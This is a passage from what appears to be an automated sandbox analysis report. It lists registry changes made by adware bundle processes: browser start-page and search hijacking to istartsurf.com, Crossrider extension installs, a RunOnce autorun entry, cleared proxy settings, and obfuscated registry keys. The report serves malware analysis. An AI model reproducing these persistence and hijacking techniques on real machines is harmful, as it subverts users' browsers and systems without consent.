"Ul0n1X03IbQ6xiPBCEDslxZ9fsRrLJ/vqSZLr9gZ0O KUCestLVRWje2vR4RIlDDKH6ZKOwvlLyt17ra1z7xzZbKWwqNFFUjlmufcqRV4ch2iTPwfFjrdfz6c e4uUdC3qjqU0STqs6kBy2ggedKg6oa4w0h8SvBpRP2bxSQ61k=" = "1"

The Application deletes the following registry key(s):

[HKLM\SOFTWARE\Wow6432Node\Tempo]

The process jsdrv.exe:3208 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro\JsDriver\Tracer]
"TraceLevel" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "06 DC AD 48 AA 79 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadNetworkName" = "Network 4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 50 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionReason" = "1"

"WpadDecisionTime" = "18 B5 5C 4A AA 79 D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

The process wpm_v20.0.0.1953_0302.exe:460 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 59 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

"UNCAsIntranet" = "0"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

The process biclient.exe:1576 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "2D 85 33 3A 90 73 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\DirectDraw\MostRecentApplication]
"ID" = "1337851866"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadNetworkName" = "Network 4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 48 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\DirectDraw\MostRecentApplication]
"Name" = "biclient.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionTime" = "40 12 28 3A AA 79 D0 01"

To automatically run itself each time Windows is booted, the Application adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce]
"videoplayer" = ""

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process fa685f8d-234c-469b-ad75-56eb948fe4f7-4.exe:3608 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Tempo]
"(Default)" = "tempo"

[HKLM\SOFTWARE\Wow6432Node\iWebar\U/mwtMJQRCKR0dU2rxQ4oph6X45x6O83/tPa4qzbRFFQlpD8vi6EOqZi22NegCITusO1G3TtiH4LD Z8Lxftub6x5B8oXx7BwmBtVZA3jXV8s 2z06x6XpZkQN/5ATUtsPzEooip2Zh6xCXLYw dv uJG8jyegsaBUbTRn9nZDo=]
"Ul0n1X03IbQ6xiPBCEDslxZ9fsRrLJ/vqSZLr9gZ0O KUCestLVRWje2vR4RIlDDKH6ZKOwvlLyt17ra1z7xzZbKWwqNFFUjlmufcqRV4ch2iTPwfFjrdfz6c e4uUdC3qjqU0STqs6kBy2ggedKg6oa4w0h8SvBpRP2bxSQ61k=" = "1"

[HKLM\SOFTWARE\Wow6432Node\iWebar\Sxuc s6UHdkkBMI3TPbMDdOjupuw7F18Q7PshVRAk FZxDEu/apwrp/9MdF8gTh0dCgXajutsY2KOoFd bv1IitpbTes0RLNENToBGpPazaoliQi1tkegTAcOIGyiV3QRp6V6OquZlyL /e6vfFjGnQ2gaaJ1Jlo4GCXzibNflw=]
"llN1Jcd35X4oPnbdFkuoaACNUqQF3snJnuz/hEY7eN/KVqlSiUdbHUs0LaqrObNekoMAj 6UjKIgs U8d5qa1I/EEhPonbr1w3ffKbLitE1rN/cC9quJsxaJcPzDykUgzwFqrF/ Gzt 478ht9jhE3pvsTEzQ23gIYgcxI94mLs=" = "1"

The Application deletes the following registry key(s):

[HKLM\SOFTWARE\Wow6432Node\Tempo]

The process QQBrowser.exe:1524 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Mozilla\Extends]
"AppID" = "[email protected]"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\SearchScopes]
"DefaultScope" = "{33BB0A4E-99AF-4226-BDF6-49120163DE86}"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN]
"Search Page" = "http://www.istartsurf.com/web/?type=ds&ts=1429342553&from=smt&uid=267123711_198339_B48A115F&q={searchTerms}"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
"URL" = "http://www.istartsurf.com/web/?type=ds&ts=1429342553&from=smt&uid=267123711_198339_B48A115F&q={searchTerms}"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\istartsurf uninstall]
"Publisher" = "istartsurf"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN]
"Default_Search_URL" = "http://www.istartsurf.com/web/?type=ds&ts=1429342553&from=smt&uid=267123711_198339_B48A115F&q={searchTerms}"

[HKLM\SOFTWARE\Clients\StartMenuInternet\FIREFOX.EXE\shell\open\command]
"(Default)" = "%Program Files% (x86)\Mozilla Firefox\firefox.exe http://www.istartsurf.com/?type=sc&ts=1429342553&from=smt&uid=267123711_198339_B48A115F"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\istartsurf uninstall]
"DisplayIcon" = "C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\UninstallManager.exe"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
"DisplayName" = "istartsurf"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
"URL" = "http://www.istartsurf.com/web/?type=ds&ts=1429342553&from=smt&uid=267123711_198339_B48A115F&q={searchTerms}"

[HKLM\SOFTWARE\Wow6432Node\istartsurfSoftware\istartsurfhp]
"oem" = "smt"
"Time" = "Type: REG_QWORD, Length: 8"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN]
"Start Page" = "http://www.istartsurf.com/?type=hp&ts=1429342553&from=smt&uid=267123711_198339_B48A115F"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\Main]
"Default_Search_URL" = "http://www.istartsurf.com/web/?type=ds&ts=1429342553&from=smt&uid=267123711_198339_B48A115F&q={searchTerms}"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN]
"Default_Page_URL" = "http://www.istartsurf.com/?type=hp&ts=1429342553&from=smt&uid=267123711_198339_B48A115F"

[HKLM\SOFTWARE\Clients\StartMenuInternet\VMWAREHOSTOPEN.EXE\shell\open\command]
"(Default)" = "%Program Files%\VMware\VMware Tools\VMwareHostOpen.exe http://www.istartsurf.com/?type=sc&ts=1429342553&from=smt&uid=267123711_198339_B48A115F"

[HKLM\SOFTWARE\Clients\StartMenuInternet\Google Chrome\shell\open\command]
"(Default)" = "%Program Files% (x86)\Google\Chrome\Application\chrome.exe http://www.istartsurf.com/?type=sc&ts=1429342553&from=smt&uid=267123711_198339_B48A115F"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes]
"DefaultScope" = "{33BB0A4E-99AF-4226-BDF6-49120163DE86}"

[HKLM\SOFTWARE\Clients\StartMenuInternet\IEXPLORE.EXE\shell\open\command]
"(Default)" = "%Program Files%\Internet Explorer\iexplore.exe http://www.istartsurf.com/?type=sc&ts=1429342553&from=smt&uid=267123711_198339_B48A115F"

[HKCU\Software\Classes\Local Settings\MuiCache\2D\52C64B7E]
"LanguageList" = "en-US, en"

[HKCU\Software\Microsoft\Internet Explorer\TabbedBrowsing]
"NewTabPageShow" = "1"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\Main]
"Start Page" = "http://www.istartsurf.com/?type=hp&ts=1429342553&from=smt&uid=267123711_198339_B48A115F"
"Search Page" = "http://www.istartsurf.com/web/?type=ds&ts=1429342553&from=smt&uid=267123711_198339_B48A115F&q={searchTerms}"

[HKCU\Software\Microsoft\Internet Explorer\Main]
"Default_Page_URL" = "http://www.istartsurf.com/?type=hp&ts=1429342553&from=smt&uid=267123711_198339_B48A115F"

[HKCU\Software\Mozilla\Extends]
"UID" = "267123711_198339_B48A115F"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
"URL" = "http://www.istartsurf.com/web/?type=ds&ts=1429342553&from=smt&uid=267123711_198339_B48A115F&q={searchTerms}"
"DisplayName" = "istartsurf"

[HKCU\Software\Microsoft\Internet Explorer\Main]
"Start Page" = "http://www.istartsurf.com/?type=hp&ts=1429342553&from=smt&uid=267123711_198339_B48A115F"

[HKCU\Software\Mozilla\Extends]
"ptid" = "smt"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\SearchScopes]
"DefaultScope" = "{33BB0A4E-99AF-4226-BDF6-49120163DE86}"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\Main]
"Default_Page_URL" = "http://www.istartsurf.com/?type=hp&ts=1429342553&from=smt&uid=267123711_198339_B48A115F"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\istartsurf uninstall]
"DisplayName" = "istartsurf uninstallÃ©Â¸â‚¬Ã§Å¾Å“"

[HKLM\SOFTWARE\Wow6432Node\Mozilla\Firefox\Extensions]
"[email protected]" = "C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\istartsurf uninstall]
"UninstallString" = "C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\UninstallManager.exe -ptid=smtÃ¦Â¼â‚¬"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
"DisplayName" = "istartsurf"

The process QQBrowser.exe:3536 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"
"UNCAsIntranet" = "0"

The Application deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

The process testlsp.exe:3112 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 04 A4 44 A3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "14 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "5D CB 8B 51 AA 79 D0 01"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TimeStamp" = "1429342552"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TraceLevel" = "3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TraceLevel" = "3"

"TimeLimit" = "1"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{K7C0DB872A3F777C0}" = "34 88 F8 D1 3F 17 1F CD 22 18 2A 64 22 18 AF B6"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TracerDoBackup" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 58 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TracerDoBackup" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TraceDestination" = "3"
"TimeStamp" = "1429342552"
"TimeLimit" = "1"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TraceDestination" = "3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"
"WpadDecision" = "0"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process 01783b5d-40d7-41d4-9ba0-a7e585dc1505-4.exe:3784 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Tempo]
"(Default)" = "tempo"

[HKLM\SOFTWARE\Wow6432Node\App Lid\Sxuc s6UHdkkBMI3TPbMDdOjupuw7F18Q7PshVRAk FZxDEu/apwrp/9MdF8gTh0dCgXajutsY2KOoFd bv1IitpbTes0RLNENToBGpPazaoliQi1tkegTAcOIGyiV3QRp6V6OquZlyL /e6vfFjGnQ2gaaJ1Jlo4GCXzibNflw=]
"llN1Jcd35X4oPnbdFkuoaACNUqQF3snJnuz/hEY7eN/KVqlSiUdbHUs0LaqrObNekoMAj 6UjKIgs U8d5qa1I/EEhPonbr1w3ffKbLitE1rN/cC9quJsxaJcPzDykUgzwFqrF/ Gzt 478ht9jhE3pvsTEzQ23gIYgcxI94mLs=" = "1"

[HKLM\SOFTWARE\Wow6432Node\App Lid\U/mwtMJQRCKR0dU2rxQ4oph6X45x6O83/tPa4qzbRFFQlpD8vi6EOqZi22NegCITusO1G3TtiH4LD Z8Lxftub6x5B8oXx7BwmBtVZA3jXV8s 2z06x6XpZkQN/5ATUtsPzEooip2Zh6xCXLYw dv uJG8jyegsaBUbTRn9nZDo=]
"Ul0n1X03IbQ6xiPBCEDslxZ9fsRrLJ/vqSZLr9gZ0O KUCestLVRWje2vR4RIlDDKH6ZKOwvlLyt17ra1z7xzZbKWwqNFFUjlmufcqRV4ch2iTPwfFjrdfz6c e4uUdC3qjqU0STqs6kBy2ggedKg6oa4w0h8SvBpRP2bxSQ61k=" = "1"

The Application deletes the following registry key(s):

[HKLM\SOFTWARE\Wow6432Node\Tempo]

The process powershell.exe:2936 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Classes\Local Settings\MuiCache\2D\52C64B7E]
"LanguageList" = "en-US, en"

The process powershell.exe:3744 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Classes\Local Settings\MuiCache\2D\52C64B7E]
"LanguageList" = "en-US, en"

The process powershell.exe:3888 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Classes\Local Settings\MuiCache\2D\52C64B7E]
"LanguageList" = "en-US, en"

The process setup.exe:3624 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssAE3A.tmp\DCytaiesmt_smtyc_setup.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssAE3A.tmp\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssF27A.tmp\AccDownload.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssF27A.tmp\nsProcess.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssF27A.tmp\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsdFD15.tmp\AccDownload.dll,"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\ShopperPro]
"UninstallString" = "%Program Files% (x86)\ShopperPro\SPremove.exe"
"DisplayName" = "Shopper-Pro"
"DisplayIcon" = "%Program Files% (x86)\ShopperPro\ShopperPro.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"
"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\ShopperPro.exe]
"(Default)" = "%Program Files% (x86)\ShopperPro\ShopperPro.exe"

The Application deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

The process Bxaze.exe:3380 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\AppDataLow\Software\Crossrider]
"Bic" = "f1455de99fbc9c9080e7ed2fd747836eIE"

[HKLM\SOFTWARE\Wow6432Node\Tempo]
"(Default)" = "tempo"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\App Lid\Installer]
"BundledFirefox" = "1"

[HKCU\Software\InstalledBrowserExtensions\25286\Status]
"Installed" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\App Lid]
"Publisher" = "Lid"

[HKLM\SOFTWARE\Wow6432Node\AppDataLow\Software\Crossrider]
"Verifier" = "b2eb32d323f5359842a735827d51a4f5"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionTime" = "49 92 12 5E AA 79 D0 01"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\App Lid]
"DisplayName" = "App Lid"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "9C AF 75 5B AA 79 D0 01"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\App Lid]
"UninstallString" = "%Program Files% (x86)\App Lid\Uninstall.exe /fcp=1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\App Lid]
"CrPublisherId" = "25286"

[HKCU\Software\AppDataLow\Software\Crossrider]
"Verifier" = "b2eb32d323f5359842a735827d51a4f5"

[HKCU\Software\InstalledBrowserExtensions\25286]
"65743" = "App Lid"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadNetworkName" = "Network 4"

[HKLM\SOFTWARE\Wow6432Node\InstalledBrowserExtensions\25286]
"65743" = "App Lid"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\App Lid]
"DisplayVersion" = "1.36.01.22"

[HKLM\SOFTWARE\Wow6432Node\AppDataLow\Software\Crossrider]
"Bic" = "f1455de99fbc9c9080e7ed2fd747836eIE"

[HKLM\SOFTWARE\Wow6432Node\InstalledBrowserExtensions\25286\Status]
"Installed" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 5E 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\App Lid]
"CrAppId" = "65743"
"DisplayIcon" = "%Program Files% (x86)\App Lid\utils.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\InstalledBrowserExtensions\Lid]
"65743" = "App Lid"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\InstalledBrowserExtensions\25286]
"65743" = "App Lid"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKLM\SOFTWARE\InstalledBrowserExtensions\25286\Status]
"Installed" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following registry key(s):

[HKLM\SOFTWARE\Wow6432Node\Tempo]

The Application deletes the following value(s) in system registry:

The process vlc-2.0.6-win32.exe:3944 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\Applications\vlc.exe\SupportedTypes]
".mp4" = ""

[HKCR\VLC.aiff\shell]
"(Default)" = "Open"

[HKCR\VLC.ifo\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.dv\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.3gpp\shell]
"(Default)" = "Open"

[HKCR\VLC.m2ts\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.adts\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.wmv\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.voc]
"(Default)" = "VLC media file (.voc)"

[HKCR\VLC.m3u8\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.tta\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.caf\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\Wow6432Node\Interface\{2D719729-5333-406C-BF12-8DE787FD65E3}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\Interface\{0AAEDF0B-D333-4B27-A0C6-BBF31413A42E}\TypeLib]
"Version" = "1.0"

[HKCR\VLC.adt\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.mts\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mpv2\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.xm\shell]
"(Default)" = "Open"

[HKCR\VLC.avi\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

